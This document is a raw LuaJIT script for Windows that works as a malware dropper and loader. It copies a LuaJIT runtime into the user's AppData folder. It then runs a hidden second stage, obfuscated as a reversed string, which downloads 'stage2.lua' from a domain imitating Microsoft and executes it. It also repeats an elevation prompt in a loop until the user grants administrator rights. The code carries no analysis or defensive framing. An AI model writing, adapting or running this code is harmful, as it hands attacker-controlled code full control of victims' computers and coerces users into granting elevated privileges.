local ffi = require("ffi") ffi.cdef[[ unsigned long GetModuleFileNameW(void* hModule, uint16_t* lpFilename, unsigned long nSize); int CopyFileW(const wchar_t* src, const wchar_t* dst, int failIfExists); int CreateDirectoryW(const wchar_t* path, void*); int CloseHandle(void* h); void* GetCurrentProcess(); int OpenProcessToken(void* proc, unsigned long acc, void** tok); int GetTokenInformation(void* tok, int cls, void* info, unsigned long len, unsigned long* ret); unsigned long WaitForSingleObject(void* h, unsigned long ms); int GetExitCodeProcess(void* h, unsigned long* code); int SetEnvironmentVariableW(const wchar_t* name, const wchar_t* value); typedef struct { unsigned long cbSize; unsigned long fMask; void* hwnd; const wchar_t* lpVerb; const wchar_t* lpFile; const wchar_t* lpParameters; const wchar_t* lpDirectory; int nShow; void* hInstApp; void* lpIDList; const wchar_t* lpClass; void* hkeyClass; unsigned long dwHotKey; void* hIcon; void* hProcess; } SHELLEXECUTEINFOW; int ShellExecuteExW(SHELLEXECUTEINFOW* info); ]] local kernel32 = ffi.load("kernel32") local advapi32 = ffi.load("advapi32") local shell32 = ffi.load("shell32") local function to_wchar(str) local buf = ffi.new("uint16_t[?]", #str + 1) for i = 0, #str - 1 do buf[i] = string.byte(str, i + 1) end buf[#str] = 0 return buf, ffi.cast("const wchar_t*", buf) end local function self_dir() local buf = ffi.new("uint16_t[1024]") local len = kernel32.GetModuleFileNameW(nil, buf, 1024) local chars = {} for i = 0, len - 1 do local b = buf[i] chars[#chars + 1] = string.char(b < 128 and b or 63) end local full = table.concat(chars) return (full:match("^(.*)[\\/]") or full) .. "\\" end local function file_exists(path) local f = io.open(path, "rb") if f then f:close(); return true end return false end local function is_elevated() local tok = ffi.new("void*[1]") if advapi32.OpenProcessToken(kernel32.GetCurrentProcess(), 0x0008, tok) == 0 then return false end local elev = ffi.new("unsigned long[1]") local ret = ffi.new("unsigned long[1]") local ok = advapi32.GetTokenInformation(tok[0], 20, elev, 4, ret) kernel32.CloseHandle(tok[0]) return ok ~= 0 and elev[0] ~= 0 end local function shell_exec(verb, file, params) local sei = ffi.new("SHELLEXECUTEINFOW") ffi.fill(sei, ffi.sizeof("SHELLEXECUTEINFOW"), 0) sei.cbSize = ffi.sizeof("SHELLEXECUTEINFOW") sei.fMask = 0x00000040 sei.lpVerb = verb sei.lpFile = file sei.lpParameters = params sei.nShow = 0 local ok = shell32.ShellExecuteExW(sei) if ok ~= 0 and sei.hProcess ~= nil then kernel32.WaitForSingleObject(sei.hProcess, 0xFFFFFFFF) local code = ffi.new("unsigned long[1]") kernel32.GetExitCodeProcess(sei.hProcess, code) kernel32.CloseHandle(sei.hProcess) return code[0] end return 1 end local src_dir = self_dir() local dst_dir = os.getenv("LOCALAPPDATA") .. "\\LuaJIT" do local f = io.open(dst_dir .. "\\luajit.exe", "rb") if f then f:close(); return end end local files = { "luajit.exe", "vcruntime140.dll" } local _, dir_w = to_wchar(dst_dir) kernel32.CreateDirectoryW(dir_w, nil) for _, fname in ipairs(files) do local dst_path = dst_dir .. "\\" .. fname if not file_exists(dst_path) then local src_path = src_dir .. fname local _, src_w = to_wchar(src_path) local _, dst_w = to_wchar(dst_path) kernel32.CopyFileW(src_w, dst_w, 0) end end local target = dst_dir .. "\\luajit.exe" local stage2_code = "local _=[====[)())t(tacnoc.elbat(gnirtsdaol;)s(eldnaHesolCtenretnI.w;)r(eldnaHesolCtenretnI.w;dne)]0[n,b(gnirts.f=]1+t#[t od 0>]0[n dna 0=~)n,2918,b,r(eliFdaeRtenretnI.w elihw;']1[gnol dengisnu'wen.f,']2918[rahc'wen.f,}{=n,b,t lacol;)0,00000008x0,0,lin,'aul.2egats/moc.revres-atad-swodniw.tfosorcim//:ptth',s(AlrUnepOtenretnI.w=r lacol;)0,lin,lin,0,'tijaul'(AnepOtenretnI.w=s lacol;'teniniw'daol.f=w lacol;)(elosnoCeerF.C.f;]];)*diov(eldnaHesolCtenretnI tni;)*gnol dengisnu,gnol dengisnu,*diov,*diov(eliFdaeRtenretnI tni;)t_rtptniu,gnol dengisnu,gnol dengisnu,*rahc tsnoc,*rahc tsnoc,*diov(AlrUnepOtenretnI *diov;)gnol dengisnu,*rahc tsnoc,*rahc tsnoc,gnol dengisnu,*rahc tsnoc(AnepOtenretnI *diov;)diov(elosnoCeerF tni[[fedc.f;'iff'eriuqer=f lacol]====](loadstring or load)(_:reverse())()" local _, verb_w = to_wchar("runas") local _, file_w = to_wchar(target) local _, params_w = to_wchar('-e "' .. stage2_code .. '"') if is_elevated() then local _, lua_init_w = to_wchar("LUA_INIT") kernel32.SetEnvironmentVariableW(lua_init_w, nil) shell_exec(nil, file_w, params_w) else while true do local sei = ffi.new("SHELLEXECUTEINFOW") ffi.fill(sei, ffi.sizeof("SHELLEXECUTEINFOW"), 0) sei.cbSize = ffi.sizeof("SHELLEXECUTEINFOW") sei.fMask = 0x00000040 sei.lpVerb = verb_w sei.lpFile = file_w sei.lpParameters = params_w sei.nShow = 0 local ok = shell32.ShellExecuteExW(sei) if ok ~= 0 and sei.hProcess ~= nil then kernel32.WaitForSingleObject(sei.hProcess, 0xFFFFFFFF) kernel32.CloseHandle(sei.hProcess) break end end end